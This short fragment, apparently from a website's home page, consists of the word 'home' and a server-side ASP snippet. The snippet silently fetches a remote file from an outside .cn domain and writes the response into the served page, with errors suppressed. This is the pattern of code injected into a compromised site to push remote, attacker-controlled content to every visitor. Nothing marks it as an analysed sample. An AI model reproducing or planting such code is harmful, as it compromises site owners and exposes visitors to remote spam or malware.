home
<%On Error Resume Next :: Set xPost = CreateObject("Microsoft.XMLHTTP") :: xPost.Open "GET","http://shmeishun.cn/newsa.gif",False :: xPost.Send() :: response.write xPost.responsetext%>